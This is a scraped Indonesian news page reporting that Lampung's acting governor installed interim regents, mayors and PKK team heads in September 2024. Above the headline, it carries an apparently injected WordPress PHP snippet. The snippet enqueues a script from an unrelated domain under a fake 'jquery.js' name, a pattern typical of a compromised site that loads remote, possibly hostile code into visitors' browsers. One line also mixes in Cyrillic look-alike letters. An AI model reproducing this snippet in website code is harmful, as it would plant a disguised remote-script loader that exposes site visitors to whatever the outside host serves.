add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Pj. Gubernur Lampung Kukuhkan Pjs. Bupati/Walikota dan Ketua TP. PKK Kabupaten/Kota - Atmosfirnews.id

Pj. Gubernur Lampung Kukuhkan Pjs. Bupati/Walikota dan Ketua TP. PKK Kabupaten/Kota

- Jurnalis

Rabu, 25 September 2024 - 10:59 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

BANDAR LAMPUNG – Atmosfirnews.id
Penjabat Gubernur Lampung Samsudin mengukuhkan empat Penjabat Sementara (Pjs) Walikota/Bupati dan Pjs. Ketua TP. PKK Kabupaten/Kota, serta meyerahkan Surat Pelaksana Tugas (Plt) Bupati Lampung Selatan, di Balai Keratun Lt.3, Kantor Gubernur Lampung, Selasa (24/09/2024).

Menurut Samsudin, kegiatan ini dilaksanakan dalam rangka memenuhi ketentuan atas Peraturan Menteri Dalam Negeri Nomor 74 Tahun 2016 tentang Cuti Di Luar Tanggungan Negara Bagi Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati serta Walikota dan Wakil Walikota, sebagaimana telah diubah dengan Peraturan Menteri Dalam Negeri Nomor 1 Tahun 2018 tentang Perubahan Atas Peraturan Menteri Dalam Negeri Nomor 74 Tahun 2016 tersebut.

Adapun Pjs dan Plt Bupati/Walikota yang dikukuhkan oleh Pj Gubernur Lampung Samsudin pada hari ini yakni :
1. Budhi Darmawan, S.T., M.T. selaku Penjabat Sementara Wali Kota Bandar Lampung;
2. Descatama Paksi Moeda, S.T., S.E., M.M. selaku Penjabat Sementara Wali Kota Metro;
3. Bobby Irawan, S.E., M.Si. selaku Penjabat Sementara Bupati Lampung Tengah;
4. Dr. H. SENEN MUSTAKIM, S.Sos., M.Si. selaku Penjabat Sementara Bupati Lampung Timur;
5. Pandu Kesuma Dewangsa, S.IP. yang dalam jabatannya sebagai Wakil Bupati Lampung Selatan menerima mandat pelaksanaan tugas Bupati Lampung Selatan;

“Saya percaya, bahwa dalam waktu yang cukup singkat ini, dengan dedikasi dan integritas yang selama ini telah saudara-saudara berikan kepada daerah, saudara-saudara mampu untuk menjalankan amanah yang telah dibebankan kepada saudara-saudara dengan sebaik-baiknya dengan tetap berpedoman kepada ketentuan peraturan perundang-undangan yang berlaku,” ucap Samsudin.

Baca Juga :  Polda Lampung Upayakan Kondusivitas Kamtibmas

Kemudian mengingat Penjabat Sementara Kepala Daerah ini juga merupakan Aparatur Sipil Negara (ASN) dan Pejabat Pimpinan Tinggi Pratama di lingkungan Pemerintah Daerah Provinsi Lampung, maka Samsudin meminta kepada Pjs. yang telah dikukuhkan untuk segera menyesuaikan diri dan mendelegasikan tugas-tugas umum kedinasan kepada pejabat struktural yang ada di jajaran perangkat daerah yang dipimpinnya selama bertugas di pemerintah daerah Kabupaten/Kota.

Selain itu, berkenaan dengan penyelenggaraan Pemilihan Umum Kepala Daerah serentak Tahun 2024 ini, Samsudin juga kembali mengingatkan kepada segenap ASN di lingkungan Pemerintah Daerah Provinsi Lampung maupun ASN di lingkungan pemerintah kabupaten/kota yang ada di Provinsi Lampung, untuk tetap mematuhi rambu-rambu Netralitas ASN yang telah ditetapkan didalam ketentuan peraturan perundang-undangan.

“Saya minta kepada Saudara-Saudara, untuk tetap memegang teguh prinsip-prinsip kode etik Pegawai Negeri Sipil dalam bernegara, bermasyarakat, berorganisasi, terhadap sesama, maupun terhadap diri pribadi Saudara,” imbau Samsudin.

“Dan ingatlah, bahwa setiap pelanggaran terhadap kode etik tersebut, akan berdampak kepada penjatuhan sanksi Pegawai Negeri Sipil yang dapat merugikan bagi pekerjaan dan karir Saudara,” tegasnya.

Baca Juga :  Viral Curanmor, AKP Ivan Tegaskan Penyelidikan Intensif oleh Tekab 308 Polres Lampung Utara.

Pasca pengukuhan Pjs, kegiatan kemudian dilanjutkan dengan pengukuhan Penjabat Sementara Ketua Tim Penggerak PKK Kabupaten/Kota oleh Pj. Ketua TP. PKK Provinsi Lampung Maidawati Retnoningsih, sesuai ketentuan Anggaran Dasar dan Anggaran Rumah Tangga Gerakan Pemberdayaan Kesejahteraan Keluarga.

Menurut Samsudin, Tim Penggerak Pemberdayaan Kesejahteraan Keluarga merupakan salah satu Lembaga Kemasyarakatan yang memiliki peran dan fungsi cukup dominan dalam peningkatan kesejahteraan masyarakat secara langsung dari dalam lingkungan keluarga.

“Tentu saja, Lembaga ini perlu mendapatkan dukungan serius dari segenap stakeholder maupun Penjabat Sementara Kepala Daerah kabupaten/kota agar dapat turut meningkatkan kesejahteraan masyarakat, terutama dalam penurunan stunting,” pungkasnya.

Adapun Pjs dan Plt Ketua TP. PKK Kabupaten/Kota yang dikukuhkan oleh Pj Ketua TP. PKK Provinsi Lampung Maidawati Retnoningsih pada hari ini yakni :

1. Elis Melinda Bobby Irawan sebagai Pjs. Ketua TP. PKK Bupati Lampung Tengah.
2. Herlila Senen Mustakim sebagai Pjs. Ketua TP. PKK Kabupaten Lampung Timur.
3. Peranita Descatama., S.Psi.,MM sebagai Pjs. Ketua TP PKK Kota Metro.
4. Rina Indriani Budhi Dharmawan, S.E. sebagai Ketua TP РКК Кota Вandar Lampung.
5. Nuri Maulida Sebagai Plt Ketua TP PKK Kabupaten Lampung Selatan.

Penulis : Yudhi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Berita ini 11 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru